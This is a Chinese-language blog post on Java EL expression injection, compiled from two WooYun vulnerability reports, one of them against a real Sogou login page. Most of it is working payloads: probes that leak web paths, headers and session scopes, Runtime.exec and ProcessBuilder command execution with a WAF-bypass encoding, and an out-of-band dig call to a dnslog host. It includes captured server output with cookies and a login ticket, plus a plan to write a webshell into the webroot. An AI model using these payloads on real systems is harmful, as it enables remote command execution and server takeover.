JAVA WEB EL表达式注入

　　看猪猪侠以前的洞，顺便总结下：

一、EL表达式简介

　　EL 全名为Expression Language。EL主要作用：
　　1、获取数据
　　　　EL表达式主要用于替换JSP页面中的脚本表达式，以从各种类型的web域中检索java对象、获取数据。(某个web域中的对象，访问javabean的属性、访问list集合、访问map集合、访问数组)
　　2、执行运算
　　　　利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算，以在JSP页面中完成一些简单的逻辑运算。${user==null}
　　3、获取web开发常用对象
　　　　EL 表达式定义了一些隐式对象，利用这些隐式对象，web开发人员可以很轻松获得对web常用对象的引用，从而获得这些对象中的数据。
　　4、调用Java方法
　　　　EL表达式允许用户开发自定义EL函数，以在JSP页面中通过EL表达式调用Java类的方法。

嗯，这段复制的，详细链接：https://www.cnblogs.com/xdp-gacl/p/3938361.html

检测方式：

https://www.a.com/login?a=${10-9}

表达式执行会会显在页面上，检查源码。

漏洞利用：

${pageContext} 对应于JSP页面中的pageContext对象（注意：取的是pageContext对象。）

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   获取web路径

${header}  文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  执行命令

渗透思路：获取webroot路径，exec执行命令echo写入一句话。

乌云案例一：

详细说明：

#1 漏洞描述

EL表达式语法允许开发人员开发自定义函数，以调用Java类的方法

#2 影响服务器

http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml

#3 Paylod

code 区域

groupName=1&papersType=${9999999-444}&papersValue=1&baseacct=1&retMsg=1&retCode=1

漏洞证明：

#4 绕过WAF

code 区域

http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml

companyName=999&groupName=&papersType=${"a9999abbb".toString\u0028\u0029}&papersValue=1&baseacct=1&retMsg=1&retCode=1

#5 回显命令执行

code 区域

groupName=1&papersType=${%23a%3d\u0028new%20java.lang.ProcessBuilder\u0028new%20java.lang.String[]{\u0027/sbin/ifconfig\u0027,\u0027-a\u0027}\u0029\u0029.start\u0028\u0029,%23b%3d%23a.getInputStream\u0028\u0029,%23c%3dnew%**.**.**.**.InputStreamReader\u0028%23b\u0029,%23d%3dnew%**.**.**.**.BufferedReader\u0028%23c\u0029,%23e%3dnew%20char[50000],%23d.read\u0028%23e\u0029,%23ringzero%3d%23context.get\u0028\u0027com.opensymphony.xwork2.dispatcher.HttpServletResponse\u0027\u0029,%23ringzero.getWriter\u0028\u0029.println\u0028%23e\u0029,%23ringzero.getWriter\u0028\u0029.flush\u0028\u0029,%23ringzero.getWriter\u0028\u0029.close\u0028\u0029}&papersValue=1&baseacct=1&retMsg=1&retCode=1

code 区域

${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'/sbin/ifconfig','-a'})).start(),#b=#a.getInputStream(),#c=new **.**.**.**.InputStreamReader(#b),#d=new **.**.**.**.BufferedReader(#c),#e=new char[50000],#d.read(#e),#ringzero=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#ringzero.getWriter().println(#e),#ringzero.getWriter().flush(),#ringzero.getWriter().close()}

code 区域

eth5      Link encap:Ethernet  HWaddr 00:50:56:97:7A:74  

          inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:5603928546 errors:0 dropped:0 overruns:0 frame:0

          TX packets:8131434126 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:735168104896 (701110.9 Mb)  TX bytes:11750604019014 (11206249.2 Mb)

lo        Link encap:Local Loopback  

          inet addr:**.**.**.**  Mask:**.**.**.**

          UP LOOPBACK RUNNING  MTU:16436  Metric:1

          RX packets:51371053 errors:0 dropped:0 overruns:0 frame:0

          TX packets:51371053 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:0 

          RX bytes:25387430681 (24211.3 Mb)  TX bytes:25387430681 (24211.3 Mb)

#6 列目录

code 区域

groupName=1&papersType=${new **.**.**.**.File(\u0027/\u0027).listFiles()[1]}&papersValue=1&baseacct=1&retMsg=1&retCode=1

修复方案：

# 表达式不允许来自客户端调用

乌云案例二：

搜狗某系统存在远程表达式注入漏洞(命令执行)
EL表达式语法允许开发人员开发自定义函数，以调用Java类的方法

详细说明：

#1 漏洞地址

code 区域

https://auth.p4p.sogou.com/login?service=${1000-900}

code 区域

https://auth.p4p.sogou.com/login?service=${pageContext}

action="/login?service=com.caucho.jsp.PageContextImpl@2aaf3a58" method="post">

#2 表达式执行后的结果返回在页面

获取web路径

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

file:/opt/local/resin/

code 区域

https://auth.p4p.sogou.com/login?service=${requestScope}

{javax.servlet.jsp.jstl.fmt.locale=zh_CN, org.springframework.validation.BindingResult.credentials=org.springframework.webflow.mvc.view.BindingModel: 0 errors, flashScope=map[[empty]], flowExecutionUrl=/login?service=%5BLjava.lang.String%3B%40660b2cde, warnCookieValue=false, javax.servlet.forward.servlet_path=/login, org.springframework.web.servlet.support.RequestContext.CONTEXT=Flow ApplicationContext [login]: startup date [Tue Apr 12 21:38:02 CST 2016]; parent: WebApplicationContext for namespace 'eunomia-servlet', org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, caucho.forward=true, javax.servlet.forward.request_uri=/login, javax.servlet.forward.query_string=service=${requestScope}, loginTicket=LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m, javax.servlet.forward.context_path=, phoneValidationModel=com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, org.springframework.web.servlet.FlashMapManager.OUTPUT_FLASH_MAP=[Attributes={}, targetRequestPath=null, targetRequestParams={}], flowRequestContext=[RequestControlContextImpl@4bab0382 externalContext = org.springframework.webflow.mvc.servlet.MvcExternalContext@4873729d, currentEvent = viewAcountLogin, requestScope = map[[empty]], attributes = map[[empty]], messageContext = [DefaultMessageContext@1369c694 sourceMessages = map[[null] -&gt; list[[empty]]]], flowExecution = [FlowExecutionImpl@56c2881 flow = 'login', flowSessions = list[[FlowSessionImpl@7fd72fee flow = 'login', state = 'accountViewLoginForm', scope = map['phoneValidationModel' -&gt; com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, 'loginTicket' -&gt; 'LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m', 'service' -&gt; ${requestScope}, 'credentials' -&gt; [username: null], 'warnCookieValue' -&gt; false, 'ticketGrantingTicketId' -&gt; [null], 'viewScope' -&gt; map['commandName' -&gt; 'credentials']]]]]], viewScope=map['commandName' -&gt; 'credentials'], javax.servlet.jsp.jstl.fmt.localizationContext=org.springframework.web.servlet.support.JstlUtils$SpringLocalizationContext@88bf3d4, org.springframework.web.servlet.DispatcherServlet.LOCALE_RESOLVER=org.springframework.web.servlet.i18n.CookieLocaleResolver@1c34e7ae, org.springframework.web.servlet.DispatcherServlet.CONTEXT=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER=org.jasig.cas.services.web.ServiceThemeResolver@55565ef9, flowExecutionKey=e110s1, service=${requestScope}, commandName=credentials, encodingFilter.FILTERED=true, credentials=[username: null]}

code 区域

https://auth.p4p.sogou.com/login?service=${header}

{Upgrade-Insecure-Requests=1, Accept-Language=zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4, Cookie=SUV=1446734204911570; IPLOC=CN4401; SUID=BA5782774FC80D0A00000000563B6987; pgv_pvi=3484909568; sct=4; LSTMV=703%2C260; LCLKINT=108193; CXID=5CE9FE68778002DCEC30C2A9412EBA10; GOTO=; ad=3wENElllll2Q7p51lllllVtpqM7lllllNcJUWlllll9lllllxTDll5@@@@@@@@@@; _euid=75841017-9d86-4069-9421-d077bd8489ef; JSESSIONID=abcN1iKReDhPacJcOLoqv; session_id_agent_crm=8a089ef7-44bf-493b-81bc-45a327cf03ec, Host=auth.p4p.sogou.com, PROXY_ADDR=10.149.29.104, Accept-Encoding=gzip, deflate, sdch, X-Real-IP=119.130.85.119, X-Forwarded-For=*******, User-Agent=, Connection=close, Accept=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}

漏洞证明：

EL表达式参考

http://www.cnblogs.com/xdp-gacl/p/3938361.html

利用方式1

code 区域

${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\u0027ifconfig\u0027).getInputStream())}

#3 执行命令

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("dig sougou.99fd5e.dnslog.info",null).getInputStream())}

CloudEYE:

code 区域

13-Apr-2016 18:42:50.858 queries: client 208.69.37.21#19674 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)

13-Apr-2016 18:42:53.876 queries: client 208.69.37.17#53756 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)

读取 ${sessionScope}, 获取a=InputStream的回显内容，a=java.io.BufferedInputStream@4d778271

获取WebROOT

https://auth.p4p.sogou.com/login?service=${applicationScope}

code 区域

javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,

org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext

然后就用命令向这个目录/opt/app/eunomia/ 写jsp文件了